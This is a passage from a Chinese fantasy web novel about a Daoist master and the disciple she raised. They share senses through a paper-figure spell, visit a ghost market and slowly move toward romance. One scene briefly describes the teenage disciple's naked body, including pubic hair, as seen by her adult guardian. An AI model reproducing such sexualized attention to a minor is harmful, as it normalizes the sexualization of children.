勒令穆若水将衣服穿好以后,她在厨房做饭,傅清微在边上苦口婆心。 “即使是我,你也不能随便脱衣服。” “为什么?” “没有为什么,大人就是不能脱衣服,这是成人世界的规矩。” “我不理解。” “你又变Siri了。” 穆若水仍然不理解,她的羞耻心似乎也长得比常人慢一些。好在她只亲近傅清微一个人,只脱给她一个人看,可以慢慢教导她。 傅清微只盼着她二十岁的时候,不要随便在她面前一丝不挂,半夜爬上她的床。 这趟下山,二人的足迹到了更远的地方。 十年间,凡间战事频发,民不聊生,魔气伺机壮大,如今的妖魔实力和最初已不可同日而语。傅清微尚且游刃有余,可听天机阁的消息,近年修行者死伤增多。 傅清微和穆若水结伴除魔,小孩已经不再是永远躲在她身后的累赘了,不但能助她一臂之力,偶尔也能单独作战。 随着她一天天长大,总有分头行动的时候,养儿方知父母心,傅清微一千一百个不放心,又没有电话保持联络,于是她研究出了一个新术法。 穆若水练完剑回来,傅清微正站在院子里,笑着对她说:“小雪,过来一下。” 穆若水一见她手里的纸人就犯怵,恨不得拔腿就跑。 身体却听话地走了过去,问:“这是什么?” 傅清微说:“新鲜玩意儿。” 她将纸人贴在了穆若水身上。 自己走到设好的法坛前,取了三支香点燃,虔诚地拜了三拜。 手指一松,三支香直直坠进香炉插好,烟雾袅袅,青云直上。 女人旋即取出一张符箓夹在食中二指,闭目快速念咒: “太上敕命,急诏坛前。鬼神借目,乾坤借法。急急如律令!” 符文无火骤燃,金光湮灭在空气里。 庭院里渐渐有了风,刮得叶片抖动出巨大的声响。穆若水感觉四周的温度骤降,手臂的鸡皮疙瘩一层一层地起来,这是阴神应召来了。 傅清微说:“你去书房里,把门关上,随便做点什么,只不要睡觉。我让你出来你再出来。” 穆若水摸了摸自己阴冷的小臂,进了书房带上门。 她在屋子里闲逛,碰碰这里摸摸那里,最后看了会儿书。 一刻钟后,傅清微在屋外叫她,她便出去了。 傅清微如实说出了她在书房的一切举动,包括她对着师娘的画像拜了几次,看了哪几页书都知道。 穆若水瞠目结舌。 傅清微带她到边上的水缸,她看见水缸里的画面显示的是另一只静止的水缸。 傅清微:“这是你的眼睛看到的,会出现在水缸里。” 穆若水一点即透:“因为那个纸人?” 傅清微淡笑起来:“不错。这是一个五感共通术,只要将我亲手开过光的纸人放在你身上,我就能设坛共享你的五感。这样即使你不在我身边,我也能知道你在做什么,你遇到危险为师能及时赶到。” “那我能共享师尊的五感吗?” “好像不行,是单方面的。” “我想学这个。” “干吗?想共享我的五感?”傅清微细长的眉眼漾出几分笑意。 “有一点。”穆若水诚实地说。 傅清微想了想,几乎没有犹豫就把术法教给了她。 她是自己唯一的徒儿,自然要倾囊相授。 何况以穆若水如今的道行,这样一起修行下去,她是追不上自己的。傅清微不至于被她放了纸人还察觉不出。 师徒俩都带着对方的纸人,彼此有个照应也好。 此术的关键在符,其次是天人感应,傅清微是天机阁口中最受天道眷顾之人,画符有求必应。 穆若水剑气纵横,符箓一道也颇有天分,虽不至于一教就会,但花费了几天时间,也逐渐掌握了五感共享之法。 她试着悄悄往师尊身上放纸人,果然第一时间就被逮住了。 傅清微从自己的长发里摸出纸人,说:“你怎么想的?放头发里?嗯?” 穆若水小声:“看师尊头发多,以为你不会发现的。” 傅清微摇头:“你啊你。” 她走过来帮穆若水整理衣领,指尖绕到她颈后,随手将一张纸人塞入长发,打算用实际行动教她什么是隐蔽。 藏也要把手脚收好啊。 后山的温泉已经修好了,傅清微只在固定的时间去,其他时候都属于穆若水,她一向在山里野,傅清微也不晓得她何时去泡池。 于是这日藏好纸人后,她设了坛,共享穆若水的五感。 面前是白气氤氲的淡绿色温泉,视野从天到地。 嗯?怎么…… 傅清微还没反应过来—— 少女稀疏的毛发闯入眼帘。 第149章 傅清微手忙脚乱地切断了纸人的联系。 虽然少女的那处实在没什么好看, 但还是给了傅清微一记迎头闷锤,扶着水缸好一段头昏脑涨,险些站立不稳。 来来回回闪过的都是同一幅画面。 自从她们搬回蓬莱, 有了稳定的居所, 傅清微就再也没亲自给她洗过澡了, 是以也未见过它的变化,如今目睹…… 千不该万不对, 都怪姬湛雪。 她怎么大白天就去泡池了?! 少女穆若水抬手拆散自己的长发, 从发丝间摸出了一片薄薄的纸人,夕阳下反射微弱的光线。 嗯? 师尊的纸人?何时藏进来的? 穆若水身量苗条, 不够丰满的身材挺拔纤细, 修长的双腿慢慢地涉入了冒着热气的温泉水中。 纸人依旧别在她的发上。 师尊想看她哪里都行,她不会躲闪扭捏的。 不必借纸人,光明正大到温泉来看也行。 穆若水舒舒服服地泡了两刻钟的温泉回道观, 傅清微却不在院子里, 穆若水在书房卧室找了一圈都不见她的影踪。 “师尊?姐姐?” 傅清微身上也有她的纸人,穆若水便打算开坛做法,刚摆到一半, 高处传来一个声音:“我在这。” “师尊怎么在树上?”穆若水高高地仰起头。 “为师吹吹风。” “那我去做饭啦,灶下瓦罐煨着炖鸡,晚上喝鸡汤。” “好。” 傅清微立在树上,想着自己发明的这个纸人术, 何尝不是搬起石头砸自己的脚。 视频还可以拒接,纸人只有扔掉才能不让她共享自己的五感。 以后不能再随便看她了。 还有属于穆若水的纸人, 不出远门就不必贴身佩戴了。万一她半夜在屋里共感, 发现自己在…… 傅清微耳尖漫过一层浅粉,脸颊微热。 “吃饭啦。” 傅清微从门口的树上一跃而下, 稳稳地落在了院子里。 “来了。” * 本月又到了鬼市开启的日子。 傅、穆二人行走千里,将要去鬼市三才舫把这一趟的收获换成银元。蓬莱观的两侧偏殿还没有修,虽有缺钱的原因,但主要卡在西王母神像一环。 傅清微终于可以画出西王母神像的大致模样,具体细节可以交给画师调整,她画技长进后沟通也方便。 蓬莱观近年开销变大,兜里的子儿永远只有刚换完钱的时候是不愁的。 修道观已是小头,占大头的是阵法材料、画符的特等朱砂黄纸,以及傅清微四处散财的行为。达则兼济天下,她们不达,济不了天下,但有余力的情况下可以济一济萍水相逢的难民。 百姓的日子苦得看不到头,穆若水这种天生情根不全的人,随着傅清微的脚步遍布山川河流,见众生苦难,都生出一二分悲悯之心,何况本就柔肠百转的傅清微。 所以钱是经过两个人同意,一起散出去的。 花完了还会有,她们不会饿死,但一块银元可以救活一条命。 这不,在钱花得差不多后,鬼市的大门要打开了。 穆若水继承了傅师尊的心灵手巧,青出于蓝,在鬼市开门前,她打算做样东西。 穆若水从杂货铺带了把刻刀,颜料,每日练完剑就在院子里捣鼓,还要傅清微在旁边给她念经文。 傅清微吐槽:“你都多大岁数了?经书都背得滚瓜烂熟了,还要我念?” 穆若水吹了吹面前的木屑,说:“想听师尊说话,你又不肯和我闲聊。” 傅清微:“……” 她近来确实避着她一些,主要是上回看到的画面,让她到现在都不自在。她怕穆若水又语出惊人,说一些她接不住的话。 傅清微只好执起道经给她念书。 穆若水锋利的刻刀一点一点地雕琢,低着头目光专注。 傅清微前两日她不知道她在做什么,盯着她的手嘱咐她小心些。渐渐的,一张空白的柳木面具在她手中脱胎成形。 女人手里的道经险些跌落在地。 穆若水没注意到她的异常,根据傩戏面具雕刻出凶恶的五官,头生双角,满口獠牙,还结合了方相的四只眼睛。 上好色以后,她又开始做第二张一模一样的面具。 鬼市里需要戴面具,她早就对那些幼稚的画脸面具厌倦,她要亲手打造属于她们俩独一无二的面具。 两张涂满颜料的柳木面具在阳光下晒干,穆若水拾起其中一张扣在自己脸上。 “师尊。”她转过来望着傅清微。 “师尊……” 傅清微也喃喃念道,不由倒退了一步。 穆若水揭开面具,露出少女青涩明媚的脸,隐隐闪过担忧:“师尊,你怎么了?” 音色清亮,远不及后世清冷,如珠如玉。 傅清微回神,手扶住了旁边的竹架,强颜欢笑道:“没什么,面具做得很逼真。” “但你脸色不太好?” “昨夜没有休息好,我待会小憩一下。”傅清微主动上前,接过了一张晾着的面具,道,“为师也试试。” 说起来师尊的那张面具她还没有正经戴过。 傅清微将面具扣上自己的脸,意外的合适,柳木轻盈,所以傩面多采用柳木。 “做得很漂亮。”傅清微又轻声说了一句,指腹摸着面具边缘温凉细腻的纹理,手感一模一样。 穆若水隔着面具看不到她的表情,自然不知道女人此刻眼神里的哀伤满得能够将她淹没。 少女转身进了杂物间,翻出工具箱里的红线,穿过面具两侧的孔洞,这样就可以系在脑后了。 傅清微在边上静静地注视着她完成一切。 “锵锵。”完整面具大功告成。每次她的新点子执行得不错,就会到傅清微面前邀功,发出亮相的声音,小时候的习惯一直延续到现在。 傅清微笑了笑。 穆若水走到她的身前,猝不及防地被女人伸手抱住,下巴紧紧地抵在她单薄的肩膀。 若水。若水。 她唇瓣被下齿死死咬着泛白,不让心里重复的名字出口。 少女穆若水手里的面具不自觉坠落,仅余一根红线挂在指尖,堪堪没有落在地面。 师尊在她发育后总是要她保持距离,自己撒娇耍赖才能和她亲密片刻,鲜有主动抱她的时候。 穆若水眉梢雀跃,空着的那只手抬起来,小心翼翼地搂住了女人的腰。 填满怀抱的同时,仿佛心也被填满了。 中旬,鬼市大开。 提督街,戴着同款柳木面具的师徒俩来到入口,熟门熟路地从结界走了进去。 鬼市的红光笼罩在天顶,傅清微走在摩肩接踵的街市,总是不自知地抬手触上自己的面具,魂不守舍。 穆若水:“师尊?” 傅清微“嗯?”了一声,脸却不往声音传来的方向偏。 “你今晚怎么都不看我?”穆若水纳闷道。 “为师胆小,怕被面具吓到。” “……”穆若水想说那我做个新的。 “哄你玩的。”傅清微做好心理准备,看向她灯火里戴着凶恶傩面熟悉的脸,说,“为师在想事情,和你无关的,不要多想。” “哦,好吧。” 傅清微和天机阁过从甚密,飞鸽传书几日便有一封,穆若水一心修行,有些事她不是很了解。 “那你牵着我,人太多了,我怕走散。”少女伸出柔软细腻的手。 傅清微将掌心递过来,牵住她的手。 柔软有余,热热的,掌心濡着一层湿意。 师尊的手却是冰冷干燥的。 傅清微头脑清明,起伏的心绪定了定,便感觉少女的指尖不老实地在她掌心划来划去,过分纤细的五指试图分开她潮湿的指缝。 不知道从哪里学的,可能天生就会。 傅清微牢牢地握紧她的五指,不让她再调皮。 三个月前才来过一次,鬼市的新鲜玩意更迭得不多,闲逛了片刻二人便直奔江心的三才舫。 管事作揖道:“姬观主,穆道长。” 傅清微和气回了礼,略微好奇道:“换了面具你也认得出来?” 管事笑道:“二位气质超群,莫说换个面具,就算只一个背影我也认得出。” 不管是不是恭维,总之好听话顺耳得很。 管事乐呵呵道:“姬观主徒儿肖师,再有两年恐怕我就要将你俩认混啦。” 傅清微偏头望向身边的穆若水。 穆若水跟着她长大,走南闯北,穿着打扮都向她靠拢,又都是纤细高挑的身材,戴上面具确实容易弄混。 不过穆若水将来是会比她高一点的,二人只要站在一起轻易就能辨认。 熟人寒暄了几句,傅清微将此行的收获倒出来给他估价。 管事一边拨算盘一边道:“观主,先前您让我留意的返魂香终于又有了,您还继续收吗?” 傅清微:“收。” 返魂香罕见,十年间只出现了两次,傅清微思念师尊,睹物思人,在她的承受范围内便都买了下来。偶尔很想她,便会燃一点香熏在自己衣袖,假装她还在自己身边。 管事便从案台上几样东西里划了一样出去,抵返魂香。 傅清微望着他身后密密麻麻的储物木格,指腹在台面边缘摩挲了一下,心念微动,用比方才轻的语调试探道:“管事这里可有辟寒犀、跗骨钉?” 管事眉头一皱,忍住了没有用探究的目光打量这位光风霁月的蓬莱观主。 以上两样,包括返魂香都是阴气极重之物,跗骨钉更是妖邪,他想不通傅清微要这些做什么。 但三才舫做生意,不管客人的用途。 “辟寒犀有,跗骨钉没有。观主需要购买辟寒犀吗?” “只是问问。”傅清微随口道。 “我会帮观主留意。” “有劳。”傅清微补充,“如果有谁购买的话,请一定及时告诉我。” “我们不能泄露客人的信息,但我会告诉观主库存情况。” 傅清微的手指从柜台边缘挪回来,收进了宽袖里,指尖微弱的颤抖一点点平复。 她想到一件,光是想起就会令她感到恐惧的事。 现在是1928年,穆若水十四岁,距离她被炼尸还有不到十年。 炼尸的阵法材料里除了常规和较为珍贵的外,有几样比较罕见,返魂香、辟寒犀、跗骨钉都在其中,所以她问了三才舫。 傅清微是一个尽可能活在当下的人,她坚信路是走出来的,走一步看一步,有时候想得太远反而会磨灭意志,望不到头的希望就是绝望。 若非这样的性格,她不会有骨子里的乐观坚韧,也无法在异世一个人把孩子拉扯大。 既然还有十年时间,世态多变,将来的情况又如何?她未雨绸缪也无从筹起,干脆先不操心这件事。 穆若水凑过来悄悄问她:“是什么?” 两人都戴着面具,说话间冰凉的面具贴在她的耳后,呼出的气息又是暖热香甜的。 傅清微猝不及防,扭头捂住了自己发红的耳朵。 穆若水:“?” 傅清微心想:再这样下去,感觉自己先熬不过这十年了。 今晚回去又要……哎。 结果今晚回去没办法自我纾解,因为明日要去铺子里定制西王母的神像,她们暂时歇在了城内客栈。 她们俩住一间房,分两床被子。 穆若水早就见了周公,傅清微睁着眼睛熬到后半夜,第二天早上醒过来精神不济。 “师尊,你昨夜没睡吗?” “睡了。”傅清微咬着她早起买的烧饼,恹恹地说,“做了一堆梦。” “梦见了什么?” “忘了。”反正没梦见师尊,否则现在她就没脸见人了。 穆若水两手托腮,若有所思地坐在对面端详她。 上午去找先前的铺子定制神像沟通细节,顺便购入了一批朱砂黄纸,穆若水逛了逛杂货铺,傅清微则去买了些酒,一块放上骡车。 傅清微在现代是不喝酒的,落入异世十年,也学会了月下独酌,酒入愁肠,大梦一场,长醉不复醒。 月色明亮的夜晚。 傅清微在院子里摆了竹椅和凭几,回房间珍惜地熏了些返魂香,坐下给自己倒酒。 穆若水趁她看向墙角的小三花,手偷偷伸过来。 傅清微背后长了眼似的将她手截住,说:“你是小孩子,不能喝酒。” 穆若水不忿:“前段时间你还说我是大人了!” 傅清微:“是大了,但还不够大。” “长到你一样大就可以吗?” 傅清微不清楚她说的是年龄还是胸,统统当成前者:“等你二十岁,就可以喝酒了。” “及笄也才十五岁!” “为师的规矩就是二十岁。”傅清微淡道,端起酒杯一饮而尽。 冷酒入喉,更觉辛辣。 她喝酒的次数很少,仍不习惯,辣得呛咳,但十分畅快,尤其是眼泪跟着一起流出来的时候。 师尊说她水多,她哪里的水都多,怎么会有人十年还这么不争气,总是当小哭包。 师尊要是见到她这样,一定会笑话她的。 穆若水见她眼神望着虚空,半点不分给她人,一杯接着一杯,就知道自己该退场了。 她没有一日不在思念她的妻子。 她的世界也从不曾真正向她打开。 毕竟她只是她的徒儿,她一手养大的孩子,又不是…… 是什么呢?十四岁的穆若水想不出答案。 她打完坐走到窗前,月凉如水,外面的桌椅收得干干净净,连给她收拾残局的机会都没有。 傅清微会在喝醉以前回房,绝不会在她面前醉酒,连醉话都不肯让她听到。 穆若水走进庭院里,空气里残留着酒香和返魂香混合的气息。 她脚步轻若无声地来到傅清微的房间,透过纸窗看烛火映着的窈窕身影。 傅清微无端清冷的声音隔窗传出来:“去睡吧。” 穆若水垂眸:“是,师尊。” 屋里的烛火灭了,满室静寂,月光撒落在窗沿,被隔绝在屋外。 穆若水的脚步撤了回去,慢慢地步入对面的房间,关上房门。 * 今天就是工匠上山修偏殿的日子,蓬莱观又要热闹些时日。 待偏殿落成,蓬莱观就彻底是后世蓬莱观的样子了。 穆若水睡饱了觉,打着哈欠从房间出来,傅清微正在院子里练功,面色红润,精神饱满,昨夜的疏离消极仿佛是一场梦。 见穆若水站在门口醒盹,莞尔道:“过来陪为师练练。” 只要不把她丢进阵法里,一切都好说。 穆若水来到院子中间,陪傅清微练了好一会儿,她的基本功扎实,除了与天罡北斗有关的步法实在不感兴趣,身法炉火纯青,与傅清微不相伯仲。 再过十年,应当能青出于蓝。 傅清微本来想逼着她学步法,多个本事多条路,然而成年体师尊横行天下,已经不需要这些助力了。 于是顺其自然,她爱学什么学什么。 傅清微不同,她一介凡人,没有不死之身,能点亮的技能都点亮了一些,除了教育孩子以外的所有时间,都花在了精进修行上。 穆若水开始摸不到师尊的衣角了,就知道傅清微开始踏禹步了。 她一点斗志都没有地放弃过招,直接进了厨房。 反正妖魔又不会禹步,输给师尊不丢人。 傅清微:“……” 这孩子是真的不想学一点步法。 没关系,妖魔目标都很显眼,她会剑法和身法就够了。 偏殿修了一个月,西王母的神像又多等了一个月,两个月后正殿的玄女娘娘移到偏殿,和后土殿相对而望。 西王母披散长发,人身兽形,豹尾虎齿,脚边还趴着一只白虎,手持武器,高高俯视的神像威严而肃杀。 供桌的神牌一行亲笔字:太虚九光龟台金母元君之神位。 傅清微领着穆若水上香,一起跪在蒲团磕了三个头。 依次是玄女娘娘,后土娘娘。 傅清微仰头看着最后进殿的这尊后土皇地祇的神像,深深俯首。 整整十年,蓬莱终于落成。 由于前述原因,蓬莱观还是穷得叮当响,师徒俩道袍走天下,干净整洁地出去,打满补丁地回来。再去城里换钱,短暂地过一段手头宽裕的日子,再变穷,周而复始。 天地钱庄和鬼市就是她们的提款机,近年来更依赖后者。 鬼市的摊贩前,一只修长白净的手拿起书摊的连环画,粗略翻了几页,慵懒问道:“多少钱?” “五分大洋。” “以前你要过我一块银元。” “不能吧?你是哪位冤大头?”老板盯着这位脸戴傩面的年轻女子,不记得自己卖过这么贵的书。 女子不理会他,挑出一根纤纤玉指。 “这个、这个、这个……” 噼里啪啦点了十几本书,都是标价贵的,老板的心脏都跟着提起来,面色的喜意端不住。 “我、都、不、要。”年轻女子一字一句地说,面具后的唇角上扬。 老板脸瞬间黑成锅底。 他正要赶这闹事的女子走,前方不远处传来一声语调温润的“小雪”。 年轻女子快步朝前面赶去,耳后的面具红线隐在墨色发丝里,脖颈露出来的肌肤凝玉似的冷白,枝头细雪。 “师尊。”方才还找老板茬的年轻女子乖顺无比,清冷的音色在面对女人时都黏腻了两分。 傅清微望着面前已比她高出些许的穆若水,奇道:“你在那里做什么?不是嫌连环画幼稚吗?” “他以前宰过我们,我找他算账呢。” “你怎么确定他就是当年那个老板,都戴着面具。” “但他连环画卖五分银元,外面才卖一两分,肯定也是奸商!我非出这口气不可!” “……” 连睚眦必报的性子也像她。 傅清微看着这张面具,心里叹了口气。 “师尊。” “嗯?” “你牵着我我就不会乱跑了。”穆若水原形毕露道,伸出了自己的尾指。 “……” 傅清微理也不理会她,径自往前面走。 她都二十岁了,一个人在鬼市里也不会有事,能立刻打伤她的妖修鬼修屈指可数,再晚自己就过来了。 “师尊!” 灯火通明的鬼市里,天上飞着倒行的船,旁边的忘川里撑着船的船夫摆渡着去三才舫的客人,地上的人们饶有兴致地望着这对师徒一前一后地你追我赶,穿过人群。 鬼市的摊贩大多固定,修者虽多如牛毛,可眼熟的仍然有。 这对师徒从十四年前便出现在鬼市。 一开始那徒儿被师尊抱在怀里,个子只到女人的腰上一点儿,后来牵在手里,一日日地抽条长大,到师尊肩膀的少女。 如今已高过她的师尊了。 两人的关系也渐渐耐人寻味。 哪有师尊被徒儿追得落荒而逃的? 摊贩们当吃瓜看,不认识的见摊贩面带笑容,端起茶碗好奇问一嘴:“这是在干什么?” 正瞧得热闹,那边哄然一声叫好。 原来是那徒儿快步追上,一把将师尊抱了个满怀。 第150章 在鬼市的哄然叫好声中, 傅清微背后的空虚被一具暖热的身体填满。 穆若水长得比她高,再也不用像儿时那样抱住她的腰,而是自后向前环住她的肩膀, 将她整个人拥进怀里。 这对她来说太容易了, 下巴顺势搁在师尊的肩膀, 偏头说话的气息都吐在她耳廓里。 “师尊。” 然后她饶有兴致地看着女人的耳朵随着气流一点点变红。 傅清微顶着发红的耳尖,闭眼道:“我数到三。一、二……” 所有的禁锢和温暖随之解开, 穆若水站到她一步开外的距离, 熟练道:“我错了。” 下次还敢。 傅清微连她的保证都懒得要,反正她不会悔改, 只会得寸进尺。 她抱得那么紧那么近, 仿佛低头就能吻到她,傅清微回想方才的距离,师尊的面具近在咫尺, 一颗心在胸腔里失序地跳动了片刻, 扭头向忘川河边走去。 穆若水快步跟上,没有再去抱她。 “师尊,你好香。” “不可无礼。” “是真的。” 傅清微周身萦绕着淡淡的返魂香, 此香浓烈,她虽熏得少,时年日久也渐渐染上味道,世所罕见奇香自有它的特殊。 傅清微想起师尊信口胡诌的催情, 该不会其实确有催情的副作用? 她步履微妙地一顿,继续加快脚步。 就算有作用也是针对凡人的, 姬湛雪都修行这么久了, 她就是纯色胆包天! ……和大师尊一模一样。 “师尊,你怎么又不理我?” 三才舫。 “姬观主, 并无人购买辟寒犀、跗骨钉,库存照旧。”管事见她到来,第一句便是向她汇报。 “有劳管事一直惦记此事。” “举手之劳,不足挂齿。” 穆若水每次都听她问起这几样东西,她问傅清微也不说是干什么的,然后再从三才舫离开,无事发生。 这回却有些不同。 傅清微淡道:“既然无人购买,不如卖给我吧。” 管事:“啊?” 穆若水也投过来疑惑的视线。 傅清微:“我还要买些别的。”她又报了阵法里欠缺的另外三样罕见材料。 管事查了库存,两样有,一样没有。 既然阵法材料如此罕见,那么自己将其买走,旁人就少了一条获取的渠道。 假如过去已成历史,那么炼尸之事一定会发生,她未必能阻止成功,但她不能什么都不做。 距离炼尸只有不到四年了。 傅清微要走了三才舫的所有库存,对管事说:“如果有人向你打听以上材料,请管事务必告知我ta的身份。” 管事为难:“这……” 傅清微平静道:“我知道你是天机阁的人,天机阁与本观主交情匪浅,你可询问你的上峰,是否向我特例特办,本观主不勉强。” 管事尊敬道:“是,姬观主。” 傅清微示意穆若水将装了材料的盒子接过来,轻轻地拂了一下袖子,手背在后。 “回见,不必送了。”女人的声音素来温和,却不容拒绝。 管事微微欠身,在门口目送她下船离去。 穆若水抱着盒子,离开三才舫后视线一直悄悄落在前方的青袍女人身上。 师尊发脾气的时候好威严啊。 好漂亮……让她又有一种奇怪的悸动感。 穆若水换成单手搂着木盒,另一只手按在自己的胸腔位置,别的徒儿也会对师尊心跳加速吗? “师尊。” 傅清微回头。 明明和她戴着同样面具的脸,凶煞的外表并未给她添上可怖的想象,女人柔软修长的颈项,红线系着的雪白耳朵,都给穆若水一种清雅出尘的感觉。 许是她知道面具下怎样一张待她温柔纵容的脸。 噗通噗通。 心好像跳得更快了,它要冲到喉咙里。 穆若水连忙咽了咽口水,将心脏压了回去。 傅清微温声道:“怎么又在发呆?快跟上来。” 穆若水应是,走在她并肩的位置,悄悄地打量她。 看了十六年,相守了十六年,她仍觉得看不够,反而愈发沉迷。 傅清微感受着身边隐晦炽热的目光,面具里的长睫阖了阖,一声叹息无声出口。 回到客栈里。 两人分别进了两扇相邻的房门。 穆若水十八岁后,二人出门也分房睡,孩子长大了,闹了两次后感觉自讨没趣,也不再固执地非要睡在一起。又过了两载,少女长成了初步成熟的大人,自己也有了羞耻心,洗澡换衣服都会避开她。 傅清微担心她会半夜脱光,一丝不挂爬自己床的事慢慢也不必挂怀了。 只是穿着衣服的时候还是肆无忌惮惯了,非要傅清微斥责她两句,方变虎为猫的安分两日。 不,已没有两日了。 将木盒交到傅清微手里后,趁着她无法反抗,穆若水隔着盒子又将她抱住,埋首在她颈间深嗅了一口。 “师尊,你真的很香。”穆若水赶在她生气前迅速松开怀抱,飞也似的逃进了屋内,砰的带上房门。 “师尊晚安!” 调皮的年轻女子溅下一点火星,傅清微的脖颈耳后山火燎原,美不胜收。 可惜这美景却无缘让穆若水得见。 傅清微用手推开房门,寒冬腊月的时节门窗大开,冷风吹散了她身体的热度,脸颊恢复到冰雪的颜色。 * 翌日二人分散在城内闲逛。 穆若水倒是想贴着她,师尊不情愿,她只好体谅对方。反正回到山上又只有她们两个,有的是共处的机会。 昨夜轻佻,她许是惹她生气了,穆若水挑了几样她爱吃的糕点赔罪,还亲自买了壶陈酿。 二十岁啦,可以喝酒咯。 傅清微按地址寻到城内有名的玉匠,给了他一张图纸。 是她凭记忆画出来的师尊的佩玉,当日法阵被毁,饕餮化为齑粉,她被玉佩里涌出的白光护住,留下了一条性命,玉佩却毁在阵中。 玉匠让她挑一块玉胚,傅清微挑了一块和后世一样的黄玉,所幸不是什么稀有玉石,不值多少钱,贵的是手艺。 玉匠收了定金,因为花纹独特,极其复杂,似是某种身份信物,他手里还有别的活,交代她六个月后来取。 六个月傅清微暂时等得起。 “有劳。” 傅清微离开玉匠家,刚出门便见到等在门口的穆若水,一身藏青道袍,广袖飘飘,背负长剑,正对着墙面壁,足尖百无聊赖踢着地上的石子。 听见脚步声,她蓦然偏头,一改懒散作态,朝她露出欢喜雀跃的笑容,三两步奔到她身前。 “师尊!” 傅清微定了定神,问:“你怎会在此?” “我买完东西闲着没事,就过来等你了。”穆若水不由分说牵起她的手,道,“走,我带你去吃饭。” 掌心暖热的温度源源不断地传过来,灼烫到心脏。 傅清微挣了两下没有挣脱,任由她将自己带到一家豪华酒楼。 “这么贵?”傅清微记得这家,扭头就走,“不吃,咱家的钱又不是大风刮来的。” “就吃一次。”穆若水拦腰抱住她不让走,“我发誓要请你吃的。” “你哪来的钱?” “我攒的私房钱。” “……” 虽说家里的财政大权由傅清微掌管,但每次天地钱庄换完钱她都会给小穆若水几块银元傍身。后来穆若水自己也可以独立除魔了,钱就越分越多。 在外散财是真,傅清微的钱全散了,穆若水却悄悄留下些私房钱。 一个家总不能真的都穷到身无分文吧。 两位道士在酒楼门口拉拉扯扯,不清不楚,引得路人侧目。 穆若水:“求求你了~” 傅清微抽回被她扯住的衣袖,妥协道:“仅此一次。” 穆若水抢答:“下不为例。” 傅清微已被她半推半就地入了酒楼内,没注意肩也被年轻女人紧紧揽着。 穆若水上来便道:“要一个临街的包厢!” “!!!” 这什么败家玩意儿! 傅清微刚要开口阻止,穆若水已经胆大包天地捂住了她的嘴,做了个嘘声的口型。 傅清微薄唇在她掌心动了动,闭口不言。 穆若水方慢慢放下手,朝她一笑。 包厢开好了。 窗户临街,外面便是络绎不绝的繁华街道,却比大堂多了几分隐私。 穆若水儿时便喜欢和她坐在窗边,记得那时师尊怕她掉出去,一直紧紧搂着她的腰。 如今想吃最贵的酒楼愿望也实现了,穆若水本来是想和师尊忆往昔,不料进屋以后许久,自己一个字也没有说出来。 她坐在凳子里,傅清微在看菜单,穆若水盯着自己垂在身侧的右手掌心,刚刚碰过女人的唇。 好软。 她是一直这么软吗?还是自己今日才发现? 上次师尊亲自己是几岁时候的事了? 傅清微撩了一下墨色耳发,盖住被她盯得发烧的耳朵,将菜单推过来,问:“你想吃什么?” 穆若水勉强将注意力集中在菜单,说:“点几个招牌菜吧,都没吃过。” 伫立在边上的小二适时介绍了几道菜。 穆若水拍板:“就这些,再来壶桂花茶。” “好嘞。” 傅清微没来得及看价格就被收走了,她索性也不做无谓的反抗。 穆若水决定的事谁都不能更改,不如坐下享受。 其实应该选临湖的包厢,安静。但是临湖的更贵,而且有声音对她们目前的独处更自在。 “师尊为何不看我?” 女人一点点的躲闪也被注意到。 “……”傅清微四处乱看,信口胡诌,“没开过包厢,长长见识。” 穆若水胸腔有好多疑问,关于她自己和师尊的,她搬过圆凳坐在了傅清微身边,柔软几乎要贴上她手臂。 傅清微余光瞧着,呼吸微屏。 “师尊还记得上次亲我是什么时候吗?” “……不记得了。”是十四岁,穆若水做出那个面具之前。 “为什么不再亲我?” “你长大了。” “可是我不是你的……妹妹吗?姐妹之间,不可以吗?”穆若水本来想说“孩子”的,被她自己咽下去换了个词。 “你是我徒儿。”傅清微找不到借口,只有以师徒名分挡在身前。 “姐妹可以,师徒不可以?” “对,师徒不可以。” 旁人问到这里或许就结束了,可穆若水不是按常理出牌之人,她情根长得缓慢,开窍也晚,直接道:“可是我想要师尊亲我,会不会很奇怪?” 傅清微答不上来。 奇怪吗?知慕少艾,她自小长在自己身边,即使对她动心,也是人之常情。 虽然傅清微不确定她究竟是崇拜还是真的仰慕她?或是情窦初开的好奇?她不敢问出口,更没有立场。 穆若水见她不语,自言自语道:“可能我真的很奇怪吧。” 傅清微倒了两杯茶,冷静喝下一杯,忍不住试探道:“你想为师亲你哪里?” 穆若水想了想,抬手从自己的前额一路下滑到鼻尖、人中,不被亲得红肿便看不到的唇珠,最终指尖又回到了光洁的额头。 “这里吧?” 傅清微不动声色舒了口气,转了转手里的茶杯。 “额头也不可以亲吗?师尊?” “……” 傅清微差一点就答应了她,指节攥紧杯沿放下。 她怕自己诱发穆若水内心的种子,更怕自己会迷失在和师尊一模一样的表象里。 二十岁的,心脏仍会跳动的,穆若水。 她必须克己复礼,守身持正,不越雷池半步。 包厢气氛凝着之际,点的菜正好上来,穆若水也搬凳子坐了回去,太近不方便动筷子,吃饭要紧。 傅清微不做扫兴的大人,哪怕她食不知味,也装作胃口大开地用了些饭菜。 一顿饭吃得两人尽开颜。 结完账二人在酒楼外的街道,穆若水说:“好贵,就来这一次,以后再也不来了。” 傅清微道:“试过便够了。” 穆若水目光在她红唇上掠过。 三十七岁的傅清微比六年前的外表长了两岁,二十七八,仍是枝头红果从馥郁到成熟的年纪,每一岁都会熟透一些,一年一年地看过来变化不大,可是忽然之间穆若水才意识到,她身上散发的成熟魅力无时无刻不在吸引她。 她自傅清微的唇看到柔润的下巴,雪白的双颊,一双清亮温润的眼睛。 四目相对。 穆若水又怔了一下。 傅清微疑惑地眨动了一下眼睫,问:“你怎么了?” 穆若水诚实地说:“我好像生病了。” 傅清微走南闯北,已经是个称职的大夫,伸手搭上她的脉象,脉实而有力,就是跳得太快了些。 “什么时候开始的?” “每当你看向我的时候。” “……”如果是大师尊对她说这样的情话,傅清微已感动得泪流不已,然而说这话的是情窦初开的姬湛雪。傅清微的心脏只在听见的第一秒漏了半拍,尔后沉默冷静道:“肝火虚旺,为师回去给你泡点降火的茶喝。” 两人从街道回客栈的路上。 “师尊,我真的生病了吗?” “不是病,只是偶然。” “可是我最近每次见你都会……” “你上火太久了。” “是这样吗?那我喝完茶就会好?” “许会有改善。” “改善不了呢?会影响我的健康吗?” “不会。” “那……” “你话太多了,看路。” “哦,好吧。” 穆若水又不是傻子,她自己也会诊脉,肝火旺不旺她心知肚明,只是她确实生病了。得了一种看见师尊就会心跳加速的病,任由心脏被海水淹没,她甘之如饴。 